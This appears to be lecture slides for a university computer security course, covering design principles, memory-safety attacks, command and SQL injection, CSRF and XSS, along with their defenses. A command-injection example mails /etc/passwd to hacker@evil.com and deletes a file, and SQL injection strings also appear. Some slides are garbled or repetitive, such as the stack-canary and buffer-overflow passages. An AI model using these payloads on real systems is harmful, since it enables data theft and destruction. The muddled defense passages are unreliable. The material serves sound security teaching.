WHAT IS THIS CLASS ABOUT?

- How to think adversarially about computer systems
- How to assess threats for their significance
- How to build programs & systems with robust security properties
- How to gauge the protections provided by, and security limitations of today’s computer systems
- How attacks work in theory and in practice

OVERVIEW

PRINCIPLES OF COMPUTER SECURITY

- Security is Economics
- Least Privilege
- Fail-Safe Defaults
- Separation of Duty
- Defense in Depth
- Psychological Acceptability
- Human Factors Matter
- Complete Mediation
- Know Your Threat Model
- Detect if Unable to Prevent
- Don’t Rely on Security Through Obscurity
- Design Security in From Day One
- Design Conservatively
- Proactively Study Attacks

PRINCIPLE: LEAST PRIVILEGE

- Give software the set of access privileges it legitimately needs to do its job - but nothing more
- Try to minimize the privilege you give each program and system component
- LP doesn’t reduce the probability of failure, but it can reduce the cost of failures
- The less privilege a program has, the less harm it can do if it goes wrong or becomes subverted

TRUSTED COMPUTING BASE

- The Trusted Computing Base (TCB) is the set of mechanisms required to function correctly for the system to behave as expected.
- What assurances are there of correctness, completeness, and security?
  - Simple, small design: easy to understand, test, audit, and/or verify.
  - Design approach: privilege separation
- Split TCB into components, only give privileges to necessary components
**LEAST PRIVILEGE IN PRACTICE: WEB BROWSERS**

**Goal:** Prevent "drive-by malware", where a malicious web page exploits a browser bug to access local files.

**Proposition:** 70% of browser vulnerabilities are in the rendering engine.

**Principles of Computer Security**

**The TOCTTOU Vulnerability**

```c
void withdraw(int cash) {
    int bal = getBalance();
    if (bal >= cash) {
        setBalance(bal - cash);
        dispense(cash);
    }
}
```

TOCTTOU = Time of Check To Time of Use

**Principles of Computer Security**

**Reasonable Assumptions**

- Attackers can interact with your systems without particular notice
- Probing (poking at systems from inside, port scanning etc.) may go unnoticed
- ...even if highly repetitive, lead to crashes, and are easy to detect
- Attackers know general information about your systems
- OS, software versions, usernames, server ports, IP address, activity patterns, admin procedures, etc
- Attackers can obtain access to an exact copy of your system and configuration to measure and determine how it works.

**Reasonable Assumptions**

- Attackers will make enthusiastic use of automation
- Attackers can initiate sophisticated coordinated activity across geographically and architecturally disparate systems
- Attackers can bring large resources to bear if required
- Computational, network capacity.
- Botnets are like EC2 for attackers
- If it helps the attacker in some way, assume they can obtain elevated privileges
- But if the privilege gives everything away (attack becomes trivial) then the best we can do is worry about unprivileged attacks
POLICIES & ENFORCEMENT

OVERVIEW
DEFINING SECURITY: POLICIES
- A system’s security policies describe
  - What the system is **supposed to do**
    - Store and provide access to a user’s personal files.
  - What the system is **not supposed to do**
    - Do not allow other users to access or modify a user’s files, unless explicitly permitted to.

OVERVIEW
DEFINING SECURITY: ATTACKS AND VULNERABILITIES
- An **attack** tries to violate security policies by exploiting vulnerabilities
- A **vulnerability** is an unintended aspect of a system’s design, implementation, or configuration
  - Storing client permissions on the client
  - Unchecked array bounds
  - World-writable configuration files
  - Initializing pseudorandom generator with a constant seed

OVERVIEW
EXPRESSING POLICIES
- Policies often describe behavior of system **principals**: the people, computers, or other entities involved in a system
  - A principal may act on its own or on behalf of another principal:
    - A program acting on a user’s behalf
    - A computer acting on behalf of the program it runs

OVERVIEW
TRUST VS TRUSTWORTHY
- A perspective on **trust**: an assumption that something behaves as it was intended to behave.
- Being **trusted** is not the same as being **trustworthy**
  - By trustworthy, we mean something that actually behaves as intended.
- Trust can be misplaced

OVERVIEW
WHAT SHOULD PRINCIPALS DO? OR NOT DO?
- Policies can be described in terms of three properties:
  - **Confidentiality**
    - Which principals may learn what information
  - **Integrity**
    - What the system ensures, and what changes are permitted
  - **Availability**
    - When must inputs be readable or outputs produced
POLICIES AND ENFORCEMENT

ENFORCEMENT MECHANISMS

- An attack causes instructions to be executed that result in a violation of some security property
- An enforcement mechanism either prevents that execution or recovers from its effects
  - Isolation
  - Monitoring
  - Recovery

POLICIES AND ENFORCEMENT

ISOLATION EXAMPLES

- Virtual machines, sandboxes, processes

POLICIES AND ENFORCEMENT

CHALLENGES OF ISOLATION

- For assurance of security, want to restrict communication as much as possible
- For functionality, need to support many kinds of communication

POLICIES AND ENFORCEMENT

MONITORING

- Monitor the interfaces of a system and halt before violations occur
  - Security policy: acceptable sequences of operations
  - Reference monitor: checks operations as they are requested
  - Kill switch: some way of stopping the system before damage occurs
- Examples?

POLICIES AND ENFORCEMENT

RECOVERY

- Most effective at reversing corruption or malicious modifications made by an attacker.
- Some attacks cannot be reversed (unless you are a Time Lord):
  - Secrets cannot be un-leaked
  - Missiles cannot be un-fired

SOFTWARE SECURITY

CMPS 122: COMPUTER SECURITY

SOFTWARE SECURITY
How can we have confidence that our code executes safely? Ideally we also want it to execute correctly, but safety is more important. Approach: build up confidence on a function-by-function / module-by-module / system-by-system basis.

Preconditions: must hold for function to operate correctly
Postconditions: should hold after function completes
Invariants: conditions that always hold at a given point in a function (this particularly matters for loops)

```c
char *tbl[N]; // N > 0, type int

// ensures: ???
int hash(char *s) {
    int h = 17;
    while (*s)
        h = 257*h + (*s++) + 3;
    return h % N;
}

// ensures: return value < N
int hash(char *s) {
    int h = 17;
    while (*s)
        h = 257*h + (*s++) + 3;
    return h % N;
}

bool search(char *s) {
    int i = hash(s);
    return tbl[i] && (strcmp(tbl[i], s)==0);
}
```

What is the correct postcondition for hash()?

- a) 0 <= return value
- b) return value < N
- c) a) and b)
- d) none of the above

Is there a fix?

```c
char *tbl[N]; // N > 0, type int

// ensures: return value < N
int hash(char *s) {
    int h = 17;
    while (*s)
        h = 257*h + (*s++) + 3;
    return h % N; // ensure return value < N
}

bool search(char *s) {
    int i = hash(s);
    return tbl[i] && (strcmp(tbl[i], s)==0);
}
```
SMASHING THE STACK

**ATTACK: BUFFER OVERFLOW**

```c
void dodgier(char *date)
...
buf = date[0]...; /* make buffer too large */
...gets(buf);...
```

- **C library function**: `gets()` accesses the user’s input.
- **Problem**: User may input more than 127 characters, causing the buffer to overflow.
- **Solution**: Use `strncpy()` instead of `gets()` to limit buffer size.
- **Challenge**: How do you prevent overflows when reading user input?

**DEFENSE: STACK CANARIES**

- **Live canary**: An extra integer that is supposed to be 0 if the function return address has not been tampered with.
- **Dead canary**: The value is changed by a subverted start address and the real return address is replaced with a fake.
- **Solution**: Use `write_log()` to check canary health.

**ATTACK: AVOIDING STACK CANARIES**

```c
void dodgier(char *date)
...
buf = date[0]...; /* make buffer too large */
...gets(buf);...
```

- **Challenge**: How do you prevent overflows when reading user input?
- **Solution**: Use `strncpy()` instead of `gets()` to limit buffer size.
- **Challenge**: How do you prevent overflows when reading user input?
- **Solution**: Use `strncpy()` instead of `gets()` to limit buffer size.
**SMASHING THE STACK**

**DEFENSE: DATA EXECUTION PREVENTION**

- **Problem**: Code injected as data can be executed
- **Solution**: Tag memory as either code or data
- **Data Execution Prevention (DEP)**
  - Data memory cannot be executed
- **Implementations**:
  - Hardware: Separate physical memory locations for data and code
  - Software: Separate logical locations for data and code (e.g., page permissions)
- All modern OSes and CPU architectures have some form of DEP

---

**ATTACK: BINARY CODE REUSE**

- But why bother injecting new code when there are millions of lines of it lying around in existing binaries?
- Sneaky Idea: **Subvert existing code to defeat DEP!**
- Lots of abuse of common libraries like `libc` — almost always there
- Use `system` function in `libc` to execute arbitrary commands
- Load stack with command and `libc` addresses

---

**WEB SECURITY**

**WEB SECURITY REVIEW**

- **HTTP**
- **HTML / CSS / Javascript**
- **Web security goals / policies**
- **SQL Injection Attacks and Defenses**
- **Same Origin Policy**
- **Cookies**
- **Cross Site Request Forgery (CSRF)**
- **Cross Site Scripting (XSS)**

---

**WEB SECURITY**

**SERVER SIDE THREATS: COMMAND INJECTION**

- Suppose the regex eventually finds its way to this function:

  ```c
  void find(char *regex){
    char cmd[512];
    sprintf(cmd, "%s > %s < /etc/passwd; rm phonebook.txt", regex);
    system(cmd);
  }
  ```

- And the query was:

  ```bash
  http://phonebook.com/search?regex=foo%20x;%20mail%20-s%20hacker@evil.com%20</etc/passwd;%20rm%20phonebook.txt
  ```

- It's as if the user running the web server typed this:

  ```bash
  $ grep foo a; mail -s hacker@evil.com </etc/passwd; rm phonebook.txt
  ```
**WEB SECURITY I**

**COMMAND INJECTION DEFENSES**

- **Poor: Input sanitization**
  - Look for "bad things" in the input and neutralize them
  - Tricky to get right and brittle!
  - Goes against "failsafe defaults" principle:
    - Input is considered okay unless a bad thing is found
- **Better: Constrain the API**
  - Keep it simple + defensive programming

http://phonebook.com/search?first=Alice&last=Smith

**WEB SECURITY I**

**SERVER SIDE THREATS: SQL INJECTION ATTACKS**

- account.php?user=alice' %20OR%201=1
  - WHERE Balance > 100000 AND Username='alice' OR 1=1
- Operator precedence in SQL turns this into:
  - WHERE Balance > 100000 AND (Username='alice' OR 1=1')
- Since 1=1 is always true, this is effectively:
  - SELECT AcctNum FROM Customer WHERE Balance > 100000
- account.php?user=alice' %20OR%201=1--
  - WHERE Balance > 100000 AND Username='alice' OR 1=1--
  - SELECT AcctNum FROM Customer WHERE Balance > 100000

**WEB SECURITY I**

**SQL INJECTION DEFENSES**

- **Poor: Input sanitization**
  - Check or transform so that value/string does not have commands of any sort
  -Disallow special characters or escape input string
  - Risky: goes against security principle...
- **Better: Constrain how user input is interpreted**
  - Most statements have the same form, but need specific values filled in
  - The user's input should be interpreted as a **value**, not as SQL **code**

**WEB SECURITY I**

**SQL ESCAPING**

- Generally, parser interprets `'` as start of a string.
- Within a string, `\` is converted to `\` and `\` is converted to \
- So for:
  - SELECT PersonID FROM People
  - WHERE Username='alice' ; SELECT * FROM People;\''
  - Username will be matched against the (unlikely) name
    - 'alice': SELECT * FROM People;
- Unfortunately, SQL parsers from different vendors have different escape sequences and different APIs for escaping
- **Hard to get right, and might need vendor-specific defenses**

**WEB SECURITY I**

**BETTER ABSTRACTIONS FOR SQL QUERIES**

- Language / API support for building query structure independent of user input

```java
ResultSet getProfile(Connection conn, String uname) {
    String query =
        "SELECT AcctNum FROM Customer WHERE Balance < 100 AND Username = ?";
    PreparedStatement p = conn.prepareStatement(query);
    p.setString(1, username);
    return p.executeQuery();
}
```

**WEB SECURITY I**

**SQL STATEMENT PARSE TREE**

- **PreparedStatement** only allows '?' at leaf nodes
- so tree structure is fixed before execution and user input is confined.
WEB SECURITY I

SQL STATEMENT PARSE TREE

This can’t happen because parser is expecting a string, not a boolean subexpression.

WEB SECURITY I

SQL STATEMENT PARSE TREE

Instead, the attempted injection gets parsed as a (weird) string. No explicit escaping necessary, every character is part of string.

WEB SECURITY I

SQL INJECTION TAKEAWAY

- **Target:** web servers that use a backend database
- **Attacker goals:** Inject/modify database commands to:
  - Read or modify private data
  - Delete confidential data
  - Alter web-site information (or even code!)
- **Attack vector:** sending requests to web server
- **Key vulnerability:** Web server allows attacker input to be interpreted as SQL commands rather than data

WEB SECURITY I

“CSRF” IS FOR CROSS SITE REQUEST FORGERY

WEB SECURITY I

CSRF ATTACK SCENARIO

- **Alice**
- **Attacker**
- mybank.com
- attacker.com

WEB SECURITY I

CSRF DEFENSE: REFERRER VALIDATION

- **Refferer:** http://mybank.com/login.php ✓
- **Refferer:** http://anywhereelse.com/login.php X
- **Refferer:** (none)
  - Strict policy disallows (secure, but less usable) Default deny
  - Lenient policy allows (less secure, but more usable) Default allow
- **Refferer** might contain sensitive information, so might be removed by network, the local machine, HTTPS => HTTP, or user preferences
  - Refferer: http://mybank.com/invalid
  - Refferer: http://mybank.com/internal/bankruptcy-announcement.html

**Blocking might help the attacker** under lenient policy!
CSRF DEFENSE: TOKEN VALIDATION

- Server requests a secret token for every action
- User’s browser obtains this token if the user visited the site and browsed to that action
- If attacker causes browser to directly send action, browser won’t have the token!
  1. The goodsite.com server includes a secret token in the webpage (e.g., in forms as an additional hidden field)
  2. Legit requests to goodsite.com send back the secret
  3. The goodsite.com server checks that token in request matches the expected one; rejects request if not
- Validation token must be hard to guess by an attacker!
- Best defense? Referrer and Secret Token, (Defend in Depth)

SAME ORIGIN POLICY: REMINDER

- Origin = protocol + hostname + port
  - http://safebank.com:81/accounts
- One origin should not be able to access the resources of another
- Javascript on one page cannot read or modify pages from different origins
- The contents of an iframe have the origin of the URL from which the iframe is served; not the loading website

XSS: SUBVERTING SOP

- What if somebody from attacker.com fools your browser into executing their script with the script’s origin as some other site, like mybank.com?
- A common approach is to trick the server of interest (mybank.com) to actually send the attacker’s script to your browser!
- The browser can’t distinguish malicious scripts from the real scripts – they have the same origin!
- The attacker script has full access to anything in the mybank.com origin.
- Such attacks are termed Cross-Site Scripting (XSS)

STORED XSS ATTACK

- Stored / persistent
  - The attacker leaves their script lying around on mybank.com server
  - Server later unwittingly send to your browser
  - Browser executes within same origin as pages from mybank.com

XSS ATTACK TYPES

- Stored / persistent
STORED XSS ATTACK: SUMMARY

- **Target:** User with Javascript-enabled browser who visits page with user-generated content on a vulnerable web service.
- **Attacker goal:** Run script in user’s browser with same access as legit scripts (in other words, subvert the Same Origin Policy)
- **Attack vector:** Content stored on web server page by users
- **Key vulnerability:** Server fails to ensure that uploaded content does not contain embedded scripts
- **Notes:**
  - Do not confuse with Cross Site Request Forgery (CSRF)
  - Requires Javascript typically. Browsers with JS disabled are not vulnerable.

REFLECTED XSS ATTACK

- **Target:** User with Javascript-enabled browser who visits vulnerable web service that includes parts of URLs it receives in the output web page.
- **Attacker goal:** Run script in user’s browser with same access as legit scripts (in other words, subvert the Same Origin Policy)
- **Attack vector:** Getting a user to click on a specially crafted URL
- **Key vulnerability:** Server fails to ensure output it generates does not contain embedded scripts other than its own
- **Notes:**
  - Do not confuse with Cross Site Request Forgery (CSRF)
  - Requires Javascript typically. Browsers with JS disabled are not vulnerable.